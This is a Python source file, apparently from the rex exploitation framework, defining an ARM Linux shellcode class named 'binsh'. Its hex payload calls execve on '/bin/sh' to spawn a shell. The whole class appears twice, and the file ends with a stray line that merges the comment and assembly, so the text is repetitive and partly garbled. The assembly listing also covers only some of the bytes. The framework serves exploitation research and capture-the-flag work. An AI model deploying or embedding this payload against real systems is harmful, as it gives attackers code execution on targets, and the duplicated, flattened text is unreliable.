
import binascii

from rex.exploit.shellcode import Shellcode


class LinuxARMBinsh(Shellcode):

    # TODO: should be 'linux' once CLE can identify linux files
    supported_platforms = ["unix"]
    arches = ["ARMEL"]
    name = "binsh"
    asm = """
add	r0, pc, #0xc
mov	r2, #0
push	{r0, r2}
mov	r1, sp
"""
    code = binascii.unhexlify("0c008fe20020a0e305002de90d10a0e10b0090ef2f62696e2f736800")


import binascii

from rex.exploit.shellcode import Shellcode


class LinuxARMBinsh(Shellcode):

    # TODO: should be 'linux' once CLE can identify linux files
    supported_platforms = ["unix"]
    arches = ["ARMEL"]
    name = "binsh"
    asm = """
add	r0, pc, #0xc
mov	r2, #0
push	{r0, r2}
mov	r1, sp
"""
    code = binascii.unhexlify("0c008fe20020a0e305002de90d10a0e10b0090ef2f62696e2f736800")

# TODO: should be 'linux' once CLE can identify linux files add	r0, pc, #0xc mov	r2, #0 push	{r0, r2} mov	r1, sp